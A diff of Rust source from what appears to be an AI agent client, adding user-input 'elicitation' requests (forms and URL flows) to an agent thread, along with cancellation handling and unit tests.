 #[derive(Debug, PartialEq, Clone)]
 pub enum ContentBlock {
     Empty,
@@ -1721,6 +2088,7 @@ pub struct AcpThread {
     title: Option<SharedString>,
     provisional_title: Option<SharedString>,
     entries: Vec<AgentThreadEntry>,
+    elicitations: ElicitationStore,
     plan: Plan,
     project: Entity<Project>,
     action_log: Entity<ActionLog>,
@@ -1789,6 +2157,8 @@ pub enum AcpThreadEvent {
     EntriesRemoved(Range<usize>),
     ToolAuthorizationRequested(acp::ToolCallId),
     ToolAuthorizationReceived(acp::ToolCallId),
+    ElicitationRequested(ElicitationEntryId),
+    ElicitationResponded(ElicitationEntryId),
     Retry(RetryStatus),
     SubagentSpawned(acp::SessionId),
     Stopped(acp::StopReason),
@@ -1932,6 +2302,7 @@ impl AcpThread {
             update_last_checkpoint_if_changed_task: None,
             shared_buffers: Default::default(),
             entries: Default::default(),
+            elicitations: ElicitationStore::default(),
             plan: Default::default(),
             title,
             provisional_title: None,
@@ -2084,7 +2455,17 @@ impl AcpThread {
                     status: ToolCallStatus::WaitingForConfirmation { .. },
                     ..
                 }) => return true,
+                AgentThreadEntry::Elicitation(elicitation_id)
+                    if self.elicitations.elicitation(elicitation_id).is_some_and(
+                        |(_, elicitation)| {
+                            matches!(elicitation.status, ElicitationStatus::Pending { .. })
+                        },
+                    ) =>
+                {
+                    return true;
+                }
                 AgentThreadEntry::ToolCall(_)
+                | AgentThreadEntry::Elicitation(_)
                 | AgentThreadEntry::AssistantMessage(_)
                 | AgentThreadEntry::CompletedPlan(_)
                 | AgentThreadEntry::ContextCompaction(_) => {}
@@ -2114,6 +2495,7 @@ impl AcpThread {
                     return true;
                 }
                 AgentThreadEntry::ToolCall(_)
+                | AgentThreadEntry::Elicitation(_)
                 | AgentThreadEntry::AssistantMessage(_)
                 | AgentThreadEntry::CompletedPlan(_)
                 | AgentThreadEntry::ContextCompaction(_) => {}
@@ -2134,6 +2516,7 @@ impl AcpThread {
                     return true;
                 }
                 AgentThreadEntry::ToolCall(_)
+                | AgentThreadEntry::Elicitation(_)
                 | AgentThreadEntry::AssistantMessage(_)
                 | AgentThreadEntry::CompletedPlan(_)
                 | AgentThreadEntry::ContextCompaction(_) => {}
@@ -2149,7 +2532,8 @@ impl AcpThread {
                 AgentThreadEntry::UserMessage(..) => return false,
                 AgentThreadEntry::AssistantMessage(..)
                 | AgentThreadEntry::CompletedPlan(..)
-                | AgentThreadEntry::ContextCompaction(_) => continue,
+                | AgentThreadEntry::ContextCompaction(_)
+                | AgentThreadEntry::Elicitation(_) => continue,
                 AgentThreadEntry::ToolCall(..) => return true,
             }
         }
@@ -3089,6 +3473,99 @@ impl AcpThread {
         cx.emit(AcpThreadEvent::EntryUpdated(ix));
     }
 
+    pub fn request_elicitation(
+        &mut self,
+        request: acp::CreateElicitationRequest,
+        cx: &mut Context<Self>,
+    ) -> Result<Task<acp::CreateElicitationResponse>, acp::Error> {
+        self.request_elicitation_with_id(request, cx)
+            .map(|(_, task)| task)
+    }
+
+    pub fn request_elicitation_with_id(
+        &mut self,
+        request: acp::CreateElicitationRequest,
+        cx: &mut Context<Self>,
+    ) -> Result<(ElicitationEntryId, Task<acp::CreateElicitationResponse>), acp::Error> {
+        ElicitationStore::validate_request(&request, cx)?;
+
+        let (id, response_rx) = self.elicitations.insert_pending_elicitation(request);
+        self.push_entry(AgentThreadEntry::Elicitation(id.clone()), cx);
+        cx.emit(AcpThreadEvent::ElicitationRequested(id.clone()));
+
+        let task =
+            ElicitationStore::response_task(id.clone(), response_rx, cx, |_thread, cx, id| {
+                cx.emit(AcpThreadEvent::ElicitationResponded(id))
+            });
+
+        Ok((id, task))
+    }
+
+    pub fn respond_to_elicitation(
+        &mut self,
+        id: &ElicitationEntryId,
+        response: acp::CreateElicitationResponse,
+        cx: &mut Context<Self>,
+    ) {
+        let Some(ix) = self.elicitation_entry_ix(id) else {
+            return;
+        };
+        if !self.elicitations.respond_to_elicitation_by_id(id, response) {
+            return;
+        }
+
+        cx.emit(AcpThreadEvent::EntryUpdated(ix));
+    }
+
+    pub fn complete_url_elicitation(
+        &mut self,
+        elicitation_id: &acp::ElicitationId,
+        cx: &mut Context<Self>,
+    ) {
+        let Some(entry_id) = self
+            .elicitations
+            .entry_id_for_url_elicitation(elicitation_id)
+        else {
+            return;
+        };
+        let Some(ix) = self.elicitation_entry_ix(&entry_id) else {
+            return;
+        };
+        if !self.elicitations.complete_url_elicitation_by_id(&entry_id) {
+            return;
+        }
+
+        cx.emit(AcpThreadEvent::EntryUpdated(ix));
+    }
+
+    pub fn cancel_elicitation(&mut self, id: &ElicitationEntryId, cx: &mut Context<Self>) {
+        let Some(ix) = self.elicitation_entry_ix(id) else {
+            return;
+        };
+        if !self.elicitations.cancel_elicitation_by_id(id, true) {
+            return;
+        }
+
+        cx.emit(AcpThreadEvent::EntryUpdated(ix));
+    }
+
+    fn elicitation_entry_ix(&self, id: &ElicitationEntryId) -> Option<usize> {
+        self.entries
+            .iter()
+            .enumerate()
+            .rev()
+            .find_map(|(index, entry)| {
+                matches!(entry, AgentThreadEntry::Elicitation(elicitation_id) if elicitation_id == id)
+                    .then_some(index)
+            })
+    }
+
+    pub fn elicitation(&self, id: &ElicitationEntryId) -> Option<(usize, &Elicitation)> {
+        let index = self.elicitation_entry_ix(id)?;
+        let (_, elicitation) = self.elicitations.elicitation(id)?;
+        Some((index, elicitation))
+    }
+
     pub fn plan(&self) -> &Plan {
         &self.plan
     }
@@ -3333,14 +3810,14 @@ impl AcpThread {
                                 log::error!("Max tokens reached. Usage: {:?}", this.token_usage);
                             }
                             if is_same_turn {
-                                this.mark_pending_entries_as_canceled(cx);
+                                this.cancel_pending_turn_entries(cx);
                             }
                             return Err(anyhow!(MaxOutputTokensError));
                         }
 
                         let canceled = matches!(r.stop_reason, acp::StopReason::Cancelled);
                         if canceled && is_same_turn {
-                            this.mark_pending_entries_as_canceled(cx);
+                            this.cancel_pending_turn_entries(cx);
                         }
 
                         if !canceled {
@@ -3404,7 +3881,7 @@ impl AcpThread {
                         }
                         Self::flush_streaming_text(&mut this.streaming_text_buffer, cx);
                         if is_same_turn {
-                            this.mark_pending_entries_as_canceled(cx);
+                            this.cancel_pending_turn_entries(cx);
                         }
                         this.had_error = true;
                         cx.emit(AcpThreadEvent::Error);
@@ -3418,19 +3895,25 @@ impl AcpThread {
     }
 
     pub fn cancel(&mut self, cx: &mut Context<Self>) -> Task<()> {
+        Self::flush_streaming_text(&mut self.streaming_text_buffer, cx);
+        self.cancel_outstanding_elicitations(cx);
+
         let Some(turn) = self.running_turn.take() else {
             return Task::ready(());
         };
-        self.connection.cancel(&self.session_id, cx);
-
-        Self::flush_streaming_text(&mut self.streaming_text_buffer, cx);
         self.mark_pending_entries_as_canceled(cx);
+        self.connection.cancel(&self.session_id, cx);
         cx.emit(AcpThreadEvent::StatusChanged);
 
         // Wait for the send task to complete
         cx.background_spawn(turn.send_task)
     }
 
+    fn cancel_pending_turn_entries(&mut self, cx: &mut Context<Self>) {
+        self.mark_pending_entries_as_canceled(cx);
+        self.cancel_outstanding_elicitations(cx);
+    }
+
     fn mark_pending_entries_as_canceled(&mut self, cx: &mut Context<Self>) {
         for (ix, entry) in self.entries.iter_mut().enumerate() {
             match entry {
@@ -3457,6 +3940,20 @@ impl AcpThread {
         }
     }
 
+    fn cancel_outstanding_elicitations(&mut self, cx: &mut Context<Self>) {
+        for ix in 0..self.entries.len() {
+            let Some(AgentThreadEntry::Elicitation(elicitation_id)) = self.entries.get(ix) else {
+                continue;
+            };
+            if self
+                .elicitations
+                .cancel_elicitation_by_id(elicitation_id, true)
+            {
+                cx.emit(AcpThreadEvent::EntryUpdated(ix));
+            }
+        }
+    }
+
     /// Restores the git working tree to the state at the given checkpoint (if one exists)
     pub fn restore_checkpoint(
         &mut self,
@@ -4051,7 +4548,19 @@ impl AcpThread {
     }
 
     pub fn to_markdown(&self, cx: &App) -> String {
-        self.entries.iter().map(|e| e.to_markdown(cx)).collect()
+        self.entries
+            .iter()
+            .map(|entry| match entry {
+                AgentThreadEntry::Elicitation(elicitation_id) => self
+                    .elicitations
+                    .elicitation(elicitation_id)
+                    .map(|(_, elicitation)| {
+                        format!("## Input Requested\n\n{}\n\n", elicitation.request.message)
+                    })
+                    .unwrap_or_else(|| entry.to_markdown(cx)),
+                _ => entry.to_markdown(cx),
+            })
+            .collect()
     }
 
     pub fn emit_load_error(&mut self, error: LoadError, cx: &mut Context<Self>) {
@@ -4225,8 +4734,10 @@ fn markdown_for_raw_output(
 mod tests {
     use super::*;
     use anyhow::anyhow;
+    use feature_flags::FeatureFlag as _;
     use futures::stream::StreamExt as _;
     use futures::{channel::mpsc, future::LocalBoxFuture, select};
+    use gpui::UpdateGlobal as _;
     use gpui::{App, AsyncApp, TestAppContext, WeakEntity};
     use indoc::indoc;
     use project::{AgentId, FakeFs, Fs};
@@ -4284,11 +4795,31 @@ mod tests {
     fn init_test(cx: &mut TestAppContext) {
         env_logger::try_init().ok();
         cx.update(|cx| {
-            let settings_store = SettingsStore::test(cx);
+            let mut settings_store = SettingsStore::test(cx);
+            settings_store.register_setting::<feature_flags::FeatureFlagsSettings>();
             cx.set_global(settings_store);
         });
     }
 
+    fn enable_acp_beta(cx: &mut TestAppContext) {
+        cx.update(|cx| {
+            cx.update_flags(false, vec![AcpBetaFeatureFlag::NAME.to_string()]);
+        });
+    }
+
+    fn set_acp_beta_override(value: &str, cx: &mut TestAppContext) {
+        cx.update(|cx| {
+            SettingsStore::update_global(cx, |store, cx| {
+                store.update_user_settings(cx, |content| {
+                    content
+                        .feature_flags
+                        .get_or_insert_default()
+                        .insert(AcpBetaFeatureFlag::NAME.to_string(), value.to_string());
+                });
+            });
+        });
+    }
+
     #[test]
     fn text_resource_markdown_uses_mime_type_for_code_blocks() {
         let shell = acp::TextResourceContents::new("echo 'hello from exec test'", "tool://preview")
@@ -6769,6 +7300,1216 @@ mod tests {
         });
     }
 
+    async fn new_test_thread(cx: &mut TestAppContext) -> Entity<AcpThread> {
+        let fs = FakeFs::new(cx.executor());
+        let project = Project::test(fs, [], cx).await;
+        let connection = Rc::new(FakeAgentConnection::new());
+        cx.update(|cx| {
+            connection.new_session(project, PathList::new(&[Path::new(path!("/test"))]), cx)
+        })
+        .await
+        .unwrap()
+    }
+
+    fn only_thread_elicitation(thread: &AcpThread) -> (ElicitationEntryId, &Elicitation) {
+        let [entry] = thread.entries() else {
+            panic!("expected one elicitation entry, got {:?}", thread.entries());
+        };
+        let AgentThreadEntry::Elicitation(id) = entry else {
+            panic!("expected one elicitation entry, got {:?}", thread.entries());
+        };
+        let Some((_, elicitation)) = thread.elicitation(id) else {
+            panic!("missing elicitation entry");
+        };
+        (id.clone(), elicitation)
+    }
+
+    fn latest_thread_elicitation(thread: &AcpThread) -> (ElicitationEntryId, &Elicitation) {
+        let Some(AgentThreadEntry::Elicitation(id)) = thread.entries().last() else {
+            panic!("expected latest entry to be an elicitation");
+        };
+        let Some((_, elicitation)) = thread.elicitation(id) else {
+            panic!("missing elicitation entry");
+        };
+        (id.clone(), elicitation)
+    }
+
+    #[gpui::test]
+    async fn test_elicitation_requires_acp_beta_flag(cx: &mut TestAppContext) {
+        init_test(cx);
+        cx.update(|cx| {
+            cx.update_flags(false, vec![]);
+        });
+        set_acp_beta_override("off", cx);
+        let thread = new_test_thread(cx).await;
+        let session_id = thread.read_with(cx, |thread, _| thread.session_id().clone());
+
+        let result = thread.update(cx, |thread, cx| {
+            thread.request_elicitation(
+                acp::CreateElicitationRequest::new(
+                    acp::ElicitationFormMode::new(
+                        acp::ElicitationSessionScope::new(session_id),
+                        acp::ElicitationSchema::new().string("name", true),
+                    ),
+                    "Provide a name",
+                ),
+                cx,
+            )
+        });
+
+        assert!(result.is_err());
+        thread.read_with(cx, |thread, _| assert!(thread.entries().is_empty()));
+    }
+
+    #[gpui::test]
+    async fn test_form_elicitation_accepts_response(cx: &mut TestAppContext) {
+        init_test(cx);
+        enable_acp_beta(cx);
+        let thread = new_test_thread(cx).await;
+        let session_id = thread.read_with(cx, |thread, _| thread.session_id().clone());
+        let tool_call_id = acp::ToolCallId::new("tool-1");
+
+        let response_task = thread.update(cx, |thread, cx| {
+            thread
+                .request_elicitation(
+                    acp::CreateElicitationRequest::new(
+                        acp::ElicitationFormMode::new(
+                            acp::ElicitationSessionScope::new(session_id.clone())
+                                .tool_call_id(tool_call_id.clone()),
+                            acp::ElicitationSchema::new().string("name", true),
+                        ),
+                        "Provide a name",
+                    ),
+                    cx,
+                )
+                .unwrap()
+        });
+
+        let elicitation_id = thread.read_with(cx, |thread, _| {
+            let (elicitation_id, elicitation) = only_thread_elicitation(thread);
+            let acp::ElicitationScope::Session(scope) = elicitation.request.scope() else {
+                panic!("expected session-scoped elicitation");
+            };
+            assert_eq!(scope.tool_call_id.as_ref(), Some(&tool_call_id));
+            elicitation_id
+        });
+
+        let expected_content = std::collections::BTreeMap::from([(
+            "name".to_string(),
+            acp::ElicitationContentValue::from("Ada"),
+        )]);
+        thread.update(cx, |thread, cx| {
+            thread.respond_to_elicitation(
+                &elicitation_id,
+                acp::CreateElicitationResponse::new(acp::ElicitationAction::Accept(
+                    acp::ElicitationAcceptAction::new().content(expected_content.clone()),
+                )),
+                cx,
+            );
+        });
+
+        let response = response_task.await;
+        assert_eq!(
+            response.action,
+            acp::ElicitationAction::Accept(
+                acp::ElicitationAcceptAction::new().content(expected_content)
+            )
+        );
+        thread.read_with(cx, |thread, _| {
+            let Some((_, elicitation)) = thread.elicitation(&elicitation_id) else {
+                panic!("missing elicitation entry");
+            };
+            assert!(matches!(elicitation.status, ElicitationStatus::Accepted));
+        });
+    }
+
+    #[gpui::test]
+    async fn test_url_elicitation_can_be_completed(cx: &mut TestAppContext) {
+        init_test(cx);
+        enable_acp_beta(cx);
+        let thread = new_test_thread(cx).await;
+        let session_id = thread.read_with(cx, |thread, _| thread.session_id().clone());
+        let url_elicitation_id = acp::ElicitationId::new("url-1");
+
+        let response_task = thread.update(cx, |thread, cx| {
+            thread
+                .request_elicitation(
+                    acp::CreateElicitationRequest::new(
+                        acp::ElicitationUrlMode::new(
+                            acp::ElicitationSessionScope::new(session_id),
+                            url_elicitation_id.clone(),
+                            "https://example.com/complete",
+                        ),
+                        "Complete this in the browser",
+                    ),
+                    cx,
+                )
+                .unwrap()
+        });
+
+        let entry_id = thread.read_with(cx, |thread, _| {
+            let (entry_id, _) = only_thread_elicitation(thread);
+            entry_id
+        });
+
+        thread.update(cx, |thread, cx| {
+            thread.complete_url_elicitation(&url_elicitation_id, cx);
+        });
+        assert!(matches!(
+            response_task.await.action,
+            acp::ElicitationAction::Accept(_)
+        ));
+        thread.update(cx, |thread, cx| {
+            thread.respond_to_elicitation(
+                &entry_id,
+                acp::CreateElicitationResponse::new(acp::ElicitationAction::Decline),
+                cx,
+            );
+        });
+        thread.read_with(cx, |thread, _| {
+            let Some((_, elicitation)) = thread.elicitation(&entry_id) else {
+                panic!("missing elicitation entry");
+            };
+            assert!(matches!(elicitation.status, ElicitationStatus::Completed));
+        });
+    }
+
+    #[gpui::test]
+    async fn test_idle_cancel_cancels_accepted_url_elicitation(cx: &mut TestAppContext) {
+        init_test(cx);
+        enable_acp_beta(cx);
+        let thread = new_test_thread(cx).await;
+        let session_id = thread.read_with(cx, |thread, _| thread.session_id().clone());
+        let url_elicitation_id = acp::ElicitationId::new("url-1");
+
+        let response_task = thread.update(cx, |thread, cx| {
+            thread
+                .request_elicitation(
+                    acp::CreateElicitationRequest::new(
+                        acp::ElicitationUrlMode::new(
+                            acp::ElicitationSessionScope::new(session_id),
+                            url_elicitation_id.clone(),
+                            "https://example.com/complete",
+                        ),
+                        "Complete this in the browser",
+                    ),
+                    cx,
+                )
+                .unwrap()
+        });
+
+        let entry_id = thread.read_with(cx, |thread, _| {
+            let (entry_id, _) = only_thread_elicitation(thread);
+            entry_id
+        });
+
+        thread.update(cx, |thread, cx| {
+            thread.respond_to_elicitation(
+                &entry_id,
+                acp::CreateElicitationResponse::new(acp::ElicitationAction::Accept(
+                    acp::ElicitationAcceptAction::new(),
+                )),
+                cx,
+            );
+        });
+        assert!(matches!(
+            response_task.await.action,
+            acp::ElicitationAction::Accept(_)
+        ));
+
+        thread.update(cx, |thread, cx| {
+            thread.cancel(cx).detach();
+        });
+        thread.read_with(cx, |thread, _| {
+            let Some((_, elicitation)) = thread.elicitation(&entry_id) else {
+                panic!("missing elicitation entry");
+            };
+            assert!(matches!(elicitation.status, ElicitationStatus::Canceled));
+        });
+
+        thread.update(cx, |thread, cx| {
+            thread.complete_url_elicitation(&url_elicitation_id, cx);
+        });
+        thread.read_with(cx, |thread, _| {
+            let Some((_, elicitation)) = thread.elicitation(&entry_id) else {
+                panic!("missing elicitation entry");
+            };
+            assert!(matches!(elicitation.status, ElicitationStatus::Canceled));
+        });
+    }
+
+    #[gpui::test]
+    async fn test_cancel_accepted_url_elicitation_marks_canceled(cx: &mut TestAppContext) {
+        init_test(cx);
+        enable_acp_beta(cx);
+        let thread = new_test_thread(cx).await;
+        let session_id = thread.read_with(cx, |thread, _| thread.session_id().clone());
+        let url_elicitation_id = acp::ElicitationId::new("url-1");
+
+        let response_task = thread.update(cx, |thread, cx| {
+            thread
+                .request_elicitation(
+                    acp::CreateElicitationRequest::new(
+                        acp::ElicitationUrlMode::new(
+                            acp::ElicitationSessionScope::new(session_id),
+                            url_elicitation_id.clone(),
+                            "https://example.com/complete",
+                        ),
+                        "Complete this in the browser",
+                    ),
+                    cx,
+                )
+                .unwrap()
+        });
+
+        let entry_id = thread.read_with(cx, |thread, _| {
+            let (entry_id, _) = only_thread_elicitation(thread);
+            entry_id
+        });
+
+        thread.update(cx, |thread, cx| {
+            thread.respond_to_elicitation(
+                &entry_id,
+                acp::CreateElicitationResponse::new(acp::ElicitationAction::Accept(
+                    acp::ElicitationAcceptAction::new(),
+                )),
+                cx,
+            );
+        });
+        assert!(matches!(
+            response_task.await.action,
+            acp::ElicitationAction::Accept(_)
+        ));
+        thread.read_with(cx, |thread, _| {
+            let Some((_, elicitation)) = thread.elicitation(&entry_id) else {
+                panic!("missing elicitation entry");
+            };
+            assert!(matches!(elicitation.status, ElicitationStatus::Accepted));
+        });
+
+        thread.update(cx, |thread, cx| {
+            thread.cancel(cx).detach();
+        });
+        thread.read_with(cx, |thread, _| {
+            let Some((_, elicitation)) = thread.elicitation(&entry_id) else {
+                panic!("missing elicitation entry");
+            };
+            assert!(matches!(elicitation.status, ElicitationStatus::Canceled));
+        });
+
+        thread.update(cx, |thread, cx| {
+            thread.complete_url_elicitation(&url_elicitation_id, cx);
+        });
+        thread.read_with(cx, |thread, _| {
+            let Some((_, elicitation)) = thread.elicitation(&entry_id) else {
+                panic!("missing elicitation entry");
+            };
+            assert!(matches!(elicitation.status, ElicitationStatus::Canceled));
+        });
+    }
+
+    #[gpui::test]
+    async fn test_turn_cancel_cancels_accepted_url_elicitation_from_previous_turn(
+        cx: &mut TestAppContext,
+    ) {
+        init_test(cx);
+        enable_acp_beta(cx);
+        let fs = FakeFs::new(cx.executor());
+        let project = Project::test(fs, [], cx).await;
+        let prompt_count = Rc::new(RefCell::new(0usize));
+        let connection = Rc::new(FakeAgentConnection::new().on_user_message({
+            let prompt_count = prompt_count.clone();
+            move |_request, _thread, _cx| {
+                let stop_reason = {
+                    let mut prompt_count = prompt_count.borrow_mut();
+                    let stop_reason = if *prompt_count == 0 {
+                        acp::StopReason::EndTurn
+                    } else {
+                        acp::StopReason::Cancelled
+                    };
+                    *prompt_count += 1;
+                    stop_reason
+                };
+
+                async move { Ok(acp::PromptResponse::new(stop_reason)) }.boxed_local()
+            }
+        }));
+        let thread = cx
+            .update(|cx| {
+                connection.new_session(project, PathList::new(&[Path::new(path!("/test"))]), cx)
+            })
+            .await
+            .expect("new session should succeed");
+
+        let response = thread
+            .update(cx, |thread, cx| thread.send(vec!["first turn".into()], cx))
+            .await
+            .expect("first turn should succeed")
+            .expect("first turn should return a response");
+        assert_eq!(response.stop_reason, acp::StopReason::EndTurn);
+
+        let session_id = thread.read_with(cx, |thread, _| thread.session_id().clone());
+        let url_elicitation_id = acp::ElicitationId::new("url-1");
+        let response_task = thread.update(cx, |thread, cx| {
+            thread
+                .request_elicitation(
+                    acp::CreateElicitationRequest::new(
+                        acp::ElicitationUrlMode::new(
+                            acp::ElicitationSessionScope::new(session_id),
+                            url_elicitation_id.clone(),
+                            "https://example.com/complete",
+                        ),
+                        "Complete this in the browser",
+                    ),
+                    cx,
+                )
+                .expect("url elicitation should be accepted")
+        });
+
+        let entry_id = thread.read_with(cx, |thread, _| {
+            let (entry_id, _) = latest_thread_elicitation(thread);
+            entry_id
+        });
+
+        thread.update(cx, |thread, cx| {
+            thread.respond_to_elicitation(
+                &entry_id,
+                acp::CreateElicitationResponse::new(acp::ElicitationAction::Accept(
+                    acp::ElicitationAcceptAction::new(),
+                )),
+                cx,
+            );
+        });
+        assert!(matches!(
+            response_task.await.action,
+            acp::ElicitationAction::Accept(_)
+        ));
+
+        let response = thread
+            .update(cx, |thread, cx| thread.send(vec!["second turn".into()], cx))
+            .await
+            .expect("second turn should succeed")
+            .expect("second turn should return a response");
+        assert_eq!(response.stop_reason, acp::StopReason::Cancelled);
+        thread.read_with(cx, |thread, _| {
+            let Some((_, elicitation)) = thread.elicitation(&entry_id) else {
+                panic!("missing elicitation entry");
+            };
+            assert!(matches!(elicitation.status, ElicitationStatus::Canceled));
+        });
+
+        thread.update(cx, |thread, cx| {
+            thread.complete_url_elicitation(&url_elicitation_id, cx);
+        });
+        thread.read_with(cx, |thread, _| {
+            let Some((_, elicitation)) = thread.elicitation(&entry_id) else {
+                panic!("missing elicitation entry");
+            };
+            assert!(matches!(elicitation.status, ElicitationStatus::Canceled));
+        });
+    }
+
+    #[gpui::test]
+    async fn test_request_scoped_elicitation_store_accepts_response(cx: &mut TestAppContext) {
+        init_test(cx);
+        enable_acp_beta(cx);
+        let store = cx.update(|cx| cx.new(|_| ElicitationStore::default()));
+
+        let response_task = store.update(cx, |store, cx| {
+            store
+                .request_elicitation(
+                    acp::CreateElicitationRequest::new(
+                        acp::ElicitationFormMode::new(
+                            acp::ElicitationRequestScope::new(acp::RequestId::Number(1)),
+                            acp::ElicitationSchema::new().string("name", true),
+                        ),
+                        "Provide a name",
+                    ),
+                    cx,
+                )
+                .unwrap()
+        });
+
+        let elicitation_id = store.read_with(cx, |store, _| {
+            let [elicitation] = store.elicitations() else {
+                panic!(
+                    "expected one elicitation entry, got {:?}",
+                    store.elicitations()
+                );
+            };
+            let acp::ElicitationScope::Request(scope) = elicitation.request.scope() else {
+                panic!("expected request-scoped elicitation");
+            };
+            assert_eq!(scope.request_id, acp::RequestId::Number(1));
+            elicitation.id.clone()
+        });
+
+        store.update(cx, |store, cx| {
+            store.respond_to_elicitation(
+                &elicitation_id,
+                acp::CreateElicitationResponse::new(acp::ElicitationAction::Decline),
+                cx,
+            );
+        });
+
+        assert_eq!(response_task.await.action, acp::ElicitationAction::Decline);
+        store.read_with(cx, |store, _| {
+            let Some((_, elicitation)) = store.elicitation(&elicitation_id) else {
+                panic!("missing elicitation entry");
+            };
+            assert!(matches!(elicitation.status, ElicitationStatus::Declined));
+        });
+    }
+
+    #[gpui::test]
+    async fn test_request_elicitation_store_ignores_duplicate_response(cx: &mut TestAppContext) {
+        init_test(cx);
+        enable_acp_beta(cx);
+        let store = cx.update(|cx| cx.new(|_| ElicitationStore::default()));
+
+        let response_task = store.update(cx, |store, cx| {
+            store
+                .request_elicitation(
+                    acp::CreateElicitationRequest::new(
+                        acp::ElicitationFormMode::new(
+                            acp::ElicitationRequestScope::new(acp::RequestId::Number(1)),
+                            acp::ElicitationSchema::new().string("name", true),
+                        ),
+                        "Provide a name",
+                    ),
+                    cx,
+                )
+                .unwrap()
+        });
+
+        let elicitation_id = store.read_with(cx, |store, _| {
+            let [elicitation] = store.elicitations() else {
+                panic!(
+                    "expected one elicitation entry, got {:?}",
+                    store.elicitations()
+                );
+            };
+            elicitation.id.clone()
+        });
+
+        store.update(cx, |store, cx| {
+            store.respond_to_elicitation(
+                &elicitation_id,
+                acp::CreateElicitationResponse::new(acp::ElicitationAction::Decline),
+                cx,
+            );
+            store.respond_to_elicitation(
+                &elicitation_id,
+                acp::CreateElicitationResponse::new(acp::ElicitationAction::Accept(
+                    acp::ElicitationAcceptAction::new(),
+                )),
+                cx,
+            );
+        });
+
+        assert_eq!(response_task.await.action, acp::ElicitationAction::Decline);
+        store.read_with(cx, |store, _| {
+            let Some((_, elicitation)) = store.elicitation(&elicitation_id) else {
+                panic!("missing elicitation entry");
+            };
+            assert!(matches!(elicitation.status, ElicitationStatus::Declined));
+        });
+    }
+
+    #[gpui::test]
+    async fn test_cancel_session_elicitation_by_id_resolves_cancel(cx: &mut TestAppContext) {
+        init_test(cx);
+        enable_acp_beta(cx);
+        let thread = new_test_thread(cx).await;
+        let session_id = thread.read_with(cx, |thread, _| thread.session_id().clone());
+
+        let (elicitation_id, response_task) = thread.update(cx, |thread, cx| {
+            thread
+                .request_elicitation_with_id(
+                    acp::CreateElicitationRequest::new(
+                        acp::ElicitationFormMode::new(
+                            acp::ElicitationSessionScope::new(session_id),
+                            acp::ElicitationSchema::new().string("name", true),
+                        ),
+                        "Provide a name",
+                    ),
+                    cx,
+                )
+                .unwrap()
+        });
+
+        thread.update(cx, |thread, cx| {
+            thread.cancel_elicitation(&elicitation_id, cx);
+        });
+
+        assert_eq!(response_task.await.action, acp::ElicitationAction::Cancel);
+        thread.read_with(cx, |thread, _| {
+            let Some((_, elicitation)) = thread.elicitation(&elicitation_id) else {
+                panic!("missing elicitation entry");
+            };
+            assert!(matches!(elicitation.status, ElicitationStatus::Canceled));
+        });
+    }
+
+    #[gpui::test]
+    async fn test_cancel_pending_session_elicitation_resolves_cancel(cx: &mut TestAppContext) {
+        init_test(cx);
+        enable_acp_beta(cx);
+        let thread = new_test_thread(cx).await;
+        let session_id = thread.read_with(cx, |thread, _| thread.session_id().clone());
+
+        let response_task = thread.update(cx, |thread, cx| {
+            thread
+                .request_elicitation(
+                    acp::CreateElicitationRequest::new(
+                        acp::ElicitationFormMode::new(
+                            acp::ElicitationSessionScope::new(session_id),
+                            acp::ElicitationSchema::new().string("name", true),
+                        ),
+                        "Provide a name",
+                    ),
+                    cx,
+                )
+                .unwrap()
+        });
+
+        let elicitation_id = thread.read_with(cx, |thread, _| {
+            let (elicitation_id, _) = only_thread_elicitation(thread);
+            elicitation_id
+        });
+
+        thread.update(cx, |thread, cx| {
+            thread.cancel(cx).detach();
+        });
+
+        assert_eq!(response_task.await.action, acp::ElicitationAction::Cancel);
+        thread.read_with(cx, |thread, _| {
+            let Some((_, elicitation)) = thread.elicitation(&elicitation_id) else {
+                panic!("missing elicitation entry");
+            };
+            assert!(matches!(elicitation.status, ElicitationStatus::Canceled));
+        });
+    }
+
+    fn request_test_session_elicitation(
+        thread: WeakEntity<AcpThread>,
+        session_id: acp::SessionId,
+        cx: &mut AsyncApp,
+    ) -> Result<Task<acp::CreateElicitationResponse>> {
+        thread.update(cx, |thread, cx| {
+            thread
+                .request_elicitation(
+                    acp::CreateElicitationRequest::new(
+                        acp::ElicitationFormMode::new(
+                            acp::ElicitationSessionScope::new(session_id),
+                            acp::ElicitationSchema::new().string("name", true),
+                        ),
+                        "Provide a name",
+                    ),
+                    cx,
+                )
+                .map_err(|error| anyhow!(error))
+        })?
+    }
+
+    #[gpui::test]
+    async fn test_prompt_error_cancels_pending_session_elicitation(cx: &mut TestAppContext) {
+        init_test(cx);
+        enable_acp_beta(cx);
+        let fs = FakeFs::new(cx.executor());
+        let project = Project::test(fs, [], cx).await;
+        let elicitation_action = Rc::new(RefCell::new(None));
+        let connection = Rc::new(FakeAgentConnection::new().on_user_message({
+            let elicitation_action = elicitation_action.clone();
+            move |request, thread, mut cx| {
+                let elicitation_action = elicitation_action.clone();
+                async move {
+                    let response_task =
+                        request_test_session_elicitation(thread, request.session_id, &mut cx)?;
+                    cx.spawn(async move |_cx| {
+                        let response = response_task.await;
+                        *elicitation_action.borrow_mut() = Some(response.action);
+                    })
+                    .detach();
+
+                    Err(anyhow!("prompt failed"))
+                }
+                .boxed_local()
+            }
+        }));
+        let thread = cx
+            .update(|cx| {
+                connection.new_session(project, PathList::new(&[Path::new(path!("/test"))]), cx)
+            })
+            .await
+            .expect("new session should succeed");
+
+        let result = thread
+            .update(cx, |thread, cx| thread.send(vec!["hello".into()], cx))
+            .await;
+
+        assert!(result.is_err());
+        cx.run_until_parked();
+        assert_eq!(
+            *elicitation_action.borrow(),
+            Some(acp::ElicitationAction::Cancel)
+        );
+        thread.read_with(cx, |thread, _| {
+            let Some(elicitation) = thread.entries().iter().find_map(|entry| match entry {
+                AgentThreadEntry::Elicitation(id) => {
+                    thread.elicitation(id).map(|(_, elicitation)| elicitation)
+                }
+                _ => None,
+            }) else {
+                panic!("expected an elicitation entry");
+            };
+            assert!(matches!(elicitation.status, ElicitationStatus::Canceled));
+        });
+    }
+
+    #[gpui::test]
+    async fn test_max_tokens_cancels_pending_session_elicitation(cx: &mut TestAppContext) {
+        init_test(cx);
+        enable_acp_beta(cx);
+        let fs = FakeFs::new(cx.executor());
+        let project = Project::test(fs, [], cx).await;
+        let elicitation_action = Rc::new(RefCell::new(None));
+        let connection = Rc::new(FakeAgentConnection::new().on_user_message({
+            let elicitation_action = elicitation_action.clone();
+            move |request, thread, mut cx| {
+                let elicitation_action = elicitation_action.clone();
+                async move {
+                    let response_task =
+                        request_test_session_elicitation(thread, request.session_id, &mut cx)?;
+                    cx.spawn(async move |_cx| {
+                        let response = response_task.await;
